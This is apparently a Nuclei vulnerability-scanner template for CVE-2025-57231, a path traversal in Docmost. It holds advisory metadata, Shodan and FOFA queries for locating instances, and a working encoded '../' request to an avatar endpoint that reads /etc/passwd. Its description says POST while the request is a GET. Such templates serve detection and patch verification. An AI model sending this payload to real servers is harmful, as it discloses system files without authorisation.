漏洞描述
Docmost v0.21.0 contains a path traversal caused by improper handling of avatar attachments, letting unauthenticated attackers disclose local files via a POST request on a public URL.
id: CVE-2025-57231
info:
name: Docmost 0.2.1-0.21.0 - Arbitrary File Read
author: anirbala98
severity: high
description: |
Docmost v0.21.0 contains a path traversal caused by improper handling of avatar attachments, letting unauthenticated attackers disclose local files via a POST request on a public URL.
impact: |
Unauthenticated attackers can disclose local files, potentially exposing sensitive information.
remediation: |
Update to the latest version.
reference:
- https://www.artresilia.com/docmost-v0-21-0-cve-2025-57231-unauthenticated-file-path-traversal
- https://github.com/advisories/GHSA-59m3-fj8c-996g
- https://nvd.nist.gov/vuln/detail/CVE-2025-57231
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-57231
epss-score: 0.00387
epss-percentile: 0.32253
cwe-id: CWE-22
metadata:
verified: true
max-request: 1
vendor: docmost
product: docmost
shodan-query: http.title:"Docmost"
fofa-query: title="Docmost"
tags: cve,cve2025,docmost,lfi,traversal,file-read,unauth
http:
- raw:
- |
GET /api/attachments/img/avatar/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4b0a00483046022100f071bcf24fabc8415222985c98a1f87f96dcfa805d107e845f2c2573b455ec27022100ae19c47fe3e56944c2c8c18dc0b9d24c91b2b8abbb5e2038ceeb7e42987c34c9:922c64590222798bb761d5b6d8e72950